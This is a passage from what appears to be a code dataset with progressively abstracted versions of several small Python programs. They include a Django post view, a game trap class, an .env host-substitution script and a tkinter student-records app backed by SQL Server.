CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]
false
9,925
f2a94f6bfe86af439a8248b40732340c45d89b93
# ------------------------------------------------------------------------- # File: mb_trap.py # Created: Tue Feb 7 20:51:32 2006 # ------------------------------------------------------------------------- import random import mb_io import mb_subs from mb_go import GameObject class Trap(GameObject): """ This class is used to create traps (or blessing objects) that exist in the arena on their own but that are not subject to attack. The only real attributes traps have is different types of attacks that they can carry out on combatants in the arena. """ def __init__(self, gamedir, filename = None): self.attacks = list() self.x = 0 self.y = 0 self.radius = 0 self.is_first_round = True GameObject.__init__(self, gamedir, filename) def read_in_config(self, filename): parser = GameObject.read_in_config(self, filename) if parser.has_section('attacks'): self.attacks = mb_subs.actions(parser.items('attacks')) del parser def trigger_trap(self, victim): attac = random.choice(self.attacks) attack = attac[0] damage = attac[1] victim.health = mb_subs.subtract_to_floor(victim.health, damage) if damage >= 0: commentary = '(OH NO!) %s' % (attack % victim.name) else: commentary = '(WOW!) %s' % (attack % victim.name) return commentary, damage
[ "# -------------------------------------------------------------------------\n# File: mb_trap.py\n# Created: Tue Feb 7 20:51:32 2006\n# -------------------------------------------------------------------------\n\nimport random\n\nimport mb_io\nimport mb_subs\nfrom mb_go import GameObject\n\nclass Trap(GameObject):\n \"\"\"\n This class is used to create traps (or blessing objects) that exist\n in the arena on their own but that are not subject to attack.\n The only real attributes traps have is different types of attacks that\n they can carry out on combatants in the arena.\n\n \"\"\"\n def __init__(self, gamedir, filename = None):\n\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n", "import random\nimport mb_io\nimport mb_subs\nfrom mb_go import GameObject\n\n\nclass Trap(GameObject):\n \"\"\"\n This class is used to create traps (or blessing objects) that exist\n in the arena on their own but that are not subject to attack.\n The only real attributes traps have is different types of attacks that\n they can carry out on combatants in the arena.\n\n \"\"\"\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n", "<import token>\n\n\nclass Trap(GameObject):\n \"\"\"\n This class is used to create traps (or blessing objects) that exist\n in the arena on their own but that are not subject to attack.\n The only real attributes traps have is different types of attacks that\n they can carry out on combatants in the arena.\n\n \"\"\"\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n", "<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n", "<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n <function token>\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n", "<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n <function token>\n <function token>\n", "<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,926
d6af9a75fbe8bdf1a81a352cee71ac81fb373b86
import os import sys import socket __target__ = '${EXTERNAL_HOST}' sources = {} def process_the_source(fname, dest=None, host_ip=None, verbose=False): assert (os.path.exists(fname) and os.path.isfile(fname)), 'Cannot proceed without the fname in process_the_source().' the_lines = [] with open(fname, 'r') as fIn: for line in fIn: l = line.rstrip() l = l.replace(__target__, host_ip) the_lines.append(l) with open(dest, 'w') as fOut: for l in the_lines: print(l, file=fOut) assert (os.path.exists(dest) and os.path.isfile(dest)), 'Cannot proceed without the dest file in process_the_source().' if (__name__ == '__main__'): is_verbose = True root = sys.argv[1] host_ip = sys.argv[2] assert (len(host_ip) > 0), 'Cannot proceed without the host ip address.' assert (os.path.exists(root) and os.path.isdir(root)), 'Cannot proceed without the root in process_the_source().' sources['{}/.env'.format(root)] = '{}/code/.env'.format(root) if (is_verbose): print('BEGIN:') for s,d in sources.items(): if (is_verbose): print('{} -> {}'.format(s, d)) assert os.path.exists(s) and os.path.isfile(s), 'Cannot find "{}" so cannot proceed.'.format(s) process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose) if (is_verbose): print('END!!!') if (is_verbose): print() print('Done.')
[ "import os\nimport sys\nimport socket\n\n__target__ = '${EXTERNAL_HOST}'\n\nsources = {}\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert (os.path.exists(fname) and os.path.isfile(fname)), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert (os.path.exists(dest) and os.path.isfile(dest)), 'Cannot proceed without the dest file in process_the_source().'\n \n\nif (__name__ == '__main__'):\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert (len(host_ip) > 0), 'Cannot proceed without the host ip address.'\n\n assert (os.path.exists(root) and os.path.isdir(root)), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n\n if (is_verbose):\n print('BEGIN:')\n for s,d in sources.items():\n if (is_verbose):\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if (is_verbose):\n print('END!!!')\n\n if (is_verbose):\n print()\n print('Done.')\n", "import os\nimport sys\nimport socket\n__target__ = '${EXTERNAL_HOST}'\nsources = {}\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\nif __name__ == '__main__':\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'\n assert os.path.exists(root) and os.path.isdir(root\n ), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n if is_verbose:\n print('BEGIN:')\n for s, d in sources.items():\n if is_verbose:\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s\n ), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if is_verbose:\n print('END!!!')\n if is_verbose:\n print()\n print('Done.')\n", "<import token>\n__target__ = '${EXTERNAL_HOST}'\nsources = {}\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\nif __name__ == '__main__':\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'\n assert os.path.exists(root) and os.path.isdir(root\n ), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n if is_verbose:\n print('BEGIN:')\n for s, d in sources.items():\n if is_verbose:\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s\n ), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if is_verbose:\n print('END!!!')\n if is_verbose:\n print()\n print('Done.')\n", "<import token>\n<assignment token>\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\nif __name__ == '__main__':\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert len(host_ip) > 0, 'Cannot proceed without the host ip address.'\n assert os.path.exists(root) and os.path.isdir(root\n ), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n if is_verbose:\n print('BEGIN:')\n for s, d in sources.items():\n if is_verbose:\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s\n ), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if is_verbose:\n print('END!!!')\n if is_verbose:\n print()\n print('Done.')\n", "<import token>\n<assignment token>\n\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert os.path.exists(fname) and os.path.isfile(fname\n ), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert os.path.exists(dest) and os.path.isfile(dest\n ), 'Cannot proceed without the dest file in process_the_source().'\n\n\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<code token>\n" ]
false
9,927
8058ff209af03b7365ffad2a9ce2e2805b548f53
from tkinter import ttk import tkinter as tk import pyodbc #ConnectingDatabase# from tkinter import messagebox conn = pyodbc.connect('Driver={SQL Server};' 'Server=MUTHUCOMPUTER;' 'Database=Class4c v1;' 'Trusted_Connection=yes;') cursor = conn.cursor() #Adding new record# def save(): Names= Name.get() Ages= Age.get() Genders= Gender.get() Heights= height.get() weights= weight.get() rollnos= StudentId.get() Sports=Sport.get() cursor.execute(""" INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId) VALUES (?,?,?,?,?,?)""",(Names,Ages,Genders,Heights,weights,rollnos)) conn.commit() cursor.execute(""" INSERT INTO Activity(Name,StudentId,Activity) VALUES (?,?,?) """,(Names,rollnos,Sports)) conn.commit() clearfields() messagebox.showinfo("Tkinter", "Saved successfully!") #deleting selected record and currently works only with rollnumber def delete(): x=StudentId.get() cursor.execute(""" DELETE FROM Students WHERE StudentId = (?)""",(x)) conn.commit() cursor.execute(""" DELETE FROM Activity WHERE StudentId = (?)""",(x)) clearfields() messagebox.showinfo("Tkinter", "Deleted successfully!") #Searching records def Search(): Names= Name.get() Ages= Age.get() Genders= Gender.get() Heights= height.get() Weights= weight.get() Rollnos= StudentId.get() Sports=Sport.get() # clearing the tree t=tree.get_children() for f in t: tree.delete(f) #Search starts if len(Names)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)""",(Names)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Ages)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)""",(Ages)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Genders)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)""",(Genders)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Heights)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)""",(Heights)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Weights)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)""",(Weights)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Rollnos)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)""",(Rollnos)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) elif len(Sports)!=0: cursor.execute("""select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)""",(Sports)) records=cursor.fetchall() for row in records: tree.insert("", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6])) tree.pack(side=tk.TOP,fill=tk.X) else: messagebox.showinfo("Tkinter", "Atleast one search criteria must be given!") #Search ends # function to clear all entry fields def clearfields(): Name.delete(0 ,tk.END) Age.delete(0 ,tk.END) Gender.delete(0 ,tk.END) height.delete(0 ,tk.END) weight.delete(0 ,tk.END) StudentId.delete(0 ,tk.END) Sport.delete(0 ,tk.END) # defining the canvas root= tk.Tk() canvas1 = tk.Canvas(root, width = 900, height = 300) canvas1.pack() # Defining the fields and labels and validating Name = tk.Entry (root) canvas1.create_window(300, 10, window=Name) label1 = tk.Label(root, text='Name:') label1.config(font=('helvetica', 10)) canvas1.create_window(200, 10, window=label1) Age = tk.Entry (root) canvas1.create_window(300, 40, window=Age) label2 = tk.Label(root, text='Age:') label2.config(font=('helvetica', 10)) canvas1.create_window(200, 40, window=label2) Gender = tk.Entry (root) canvas1.create_window(300, 70, window=Gender) label3 = tk.Label(root, text='Gender:') label3.config(font=('helvetica', 10)) canvas1.create_window(200, 70, window=label3) height = tk.Entry (root) canvas1.create_window(300, 100, window=height) label4 = tk.Label(root, text='height in cm:') label4.config(font=('helvetica', 10)) canvas1.create_window(200, 100, window=label4) weight = tk.Entry (root) canvas1.create_window(300, 130, window=weight) label5 = tk.Label(root, text='weight in kg:') label5.config(font=('helvetica', 10)) canvas1.create_window(200, 130, window=label5) StudentId = tk.Entry (root) canvas1.create_window(300, 160, window=StudentId) label6 = tk.Label(root, text='StudentId:') label6.config(font=('helvetica', 10)) canvas1.create_window(200, 160, window=label6) Sport = tk.Entry (root) canvas1.create_window(300, 190, window=Sport) label7 = tk.Label(root, text='Sport:') label7.config(font=('helvetica', 10)) canvas1.create_window(200, 190, window=label7) # Defining the buttons button1 = tk.Button(text='Save',command = save) canvas1.create_window(500, 250, window=button1) button5 = tk.Button(text='Search',command=Search) canvas1.create_window(400, 250, window=button5) button3 = tk.Button(text='delete',command=delete) canvas1.create_window(450, 250, window=button3) # Defining the tree tree=ttk.Treeview(root) tree["columns"]=("one","two","three","four","five","six") tree.column("#0", width=130, minwidth=270, stretch=tk.NO) tree.column("one", width=100, minwidth=150, stretch=tk.NO) tree.column("two", width=100, minwidth=100) tree.column("three", width=100, minwidth=50, stretch=tk.NO) tree.column("three", width=100, minwidth=50, stretch=tk.NO) tree.column("three", width=100, minwidth=50, stretch=tk.NO) tree.heading("#0",text="Name",anchor=tk.W) tree.heading("one", text="Age",anchor=tk.W) tree.heading("two", text="Gender",anchor=tk.W) tree.heading("three", text="Height",anchor=tk.W) tree.heading("four", text="Weight",anchor=tk.W) tree.heading("five", text="StudentId",anchor=tk.W) tree.heading("six", text="Sports",anchor=tk.W) tree.pack() root.mainloop()
[ "from tkinter import ttk\r\nimport tkinter as tk\r\nimport pyodbc\r\n\r\n\r\n#ConnectingDatabase#\r\n\r\nfrom tkinter import messagebox\r\nconn = pyodbc.connect('Driver={SQL Server};'\r\n 'Server=MUTHUCOMPUTER;'\r\n 'Database=Class4c v1;'\r\n 'Trusted_Connection=yes;')\r\ncursor = conn.cursor()\r\n\r\n\r\n#Adding new record#\r\n\r\ndef save():\r\n Names= Name.get()\r\n Ages= Age.get()\r\n Genders= Gender.get()\r\n Heights= height.get()\r\n weights= weight.get()\r\n rollnos= StudentId.get()\r\n Sports=Sport.get()\r\n\r\n cursor.execute(\"\"\"\r\n INSERT INTO Students(Name, Age, Gender, Height,_weight,StudentId)\r\n VALUES (?,?,?,?,?,?)\"\"\",(Names,Ages,Genders,Heights,weights,rollnos))\r\n conn.commit()\r\n cursor.execute(\"\"\"\r\n INSERT INTO Activity(Name,StudentId,Activity)\r\n VALUES (?,?,?)\r\n \"\"\",(Names,rollnos,Sports))\r\n conn.commit()\r\n clearfields()\r\n messagebox.showinfo(\"Tkinter\", \"Saved successfully!\")\r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n#deleting selected record and currently works only with rollnumber\r\n \r\n \r\ndef delete():\r\n x=StudentId.get()\r\n cursor.execute(\"\"\"\r\n DELETE FROM Students\r\n WHERE StudentId = (?)\"\"\",(x))\r\n conn.commit()\r\n cursor.execute(\"\"\"\r\n DELETE FROM Activity\r\n WHERE StudentId = (?)\"\"\",(x))\r\n clearfields()\r\n messagebox.showinfo(\"Tkinter\", \"Deleted successfully!\")\r\n \r\n\r\n#Searching records \r\n\r\ndef Search():\r\n \r\n Names= Name.get()\r\n Ages= Age.get()\r\n Genders= Gender.get()\r\n Heights= height.get()\r\n Weights= weight.get()\r\n Rollnos= StudentId.get()\r\n Sports=Sport.get()\r\n\r\n# clearing the tree\r\n \r\n t=tree.get_children()\r\n for f in t:\r\n tree.delete(f)\r\n \r\n\r\n#Search starts\r\n \r\n\r\n if len(Names)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Activity B on A.StudentId=B.StudentId where A.Name like(?)\"\"\",(Names))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n \r\n\t\t\r\n elif len(Ages)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Age like(?)\"\"\",(Ages))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Genders)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Gender like(?)\"\"\",(Genders))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Heights)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.Height like(?)\"\"\",(Heights))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X) \r\n\r\n\r\n elif len(Weights)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A._Weight like(?)\"\"\",(Weights))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Rollnos)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where A.StudentId like(?)\"\"\",(Rollnos))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n\r\n elif len(Sports)!=0:\r\n cursor.execute(\"\"\"select A.Name,A.Age,A.Gender,A.Height,A._Weight,A.StudentId,B.Activity\r\n from Students A inner join Sports B on A.StudentId=B.StudentId where B.Activity like(?)\"\"\",(Sports))\r\n records=cursor.fetchall()\r\n for row in records:\r\n tree.insert(\"\", 3, text=row[0], values=(row[1],row[2],row[3],row[4],row[5],row[6]))\r\n tree.pack(side=tk.TOP,fill=tk.X)\r\n\r\n else:\r\n \r\n messagebox.showinfo(\"Tkinter\", \"Atleast one search criteria must be given!\") \r\n\r\n#Search ends\r\n\r\n# function to clear all entry fields\r\n\r\ndef clearfields():\r\n Name.delete(0 ,tk.END)\r\n Age.delete(0 ,tk.END)\r\n Gender.delete(0 ,tk.END)\r\n height.delete(0 ,tk.END)\r\n weight.delete(0 ,tk.END)\r\n StudentId.delete(0 ,tk.END)\r\n Sport.delete(0 ,tk.END)\r\n \r\n\r\n\r\n \r\n# defining the canvas\r\n\r\nroot= tk.Tk()\r\ncanvas1 = tk.Canvas(root, width = 900, height = 300)\r\ncanvas1.pack()\r\n\r\n# Defining the fields and labels and validating\r\n\r\nName = tk.Entry (root)\r\ncanvas1.create_window(300, 10, window=Name)\r\nlabel1 = tk.Label(root, text='Name:')\r\nlabel1.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 10, window=label1)\r\n\r\n\r\nAge = tk.Entry (root)\r\ncanvas1.create_window(300, 40, window=Age)\r\nlabel2 = tk.Label(root, text='Age:')\r\nlabel2.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 40, window=label2)\r\n\r\nGender = tk.Entry (root)\r\ncanvas1.create_window(300, 70, window=Gender)\r\nlabel3 = tk.Label(root, text='Gender:')\r\nlabel3.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 70, window=label3)\r\n\r\nheight = tk.Entry (root)\r\ncanvas1.create_window(300, 100, window=height)\r\nlabel4 = tk.Label(root, text='height in cm:')\r\nlabel4.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 100, window=label4)\r\n\r\nweight = tk.Entry (root)\r\ncanvas1.create_window(300, 130, window=weight)\r\nlabel5 = tk.Label(root, text='weight in kg:')\r\nlabel5.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 130, window=label5)\r\n\r\nStudentId = tk.Entry (root)\r\ncanvas1.create_window(300, 160, window=StudentId)\r\nlabel6 = tk.Label(root, text='StudentId:')\r\nlabel6.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 160, window=label6)\r\n\r\nSport = tk.Entry (root)\r\ncanvas1.create_window(300, 190, window=Sport)\r\nlabel7 = tk.Label(root, text='Sport:')\r\nlabel7.config(font=('helvetica', 10))\r\ncanvas1.create_window(200, 190, window=label7)\r\n\r\n\r\n# Defining the buttons\r\n\r\nbutton1 = tk.Button(text='Save',command = 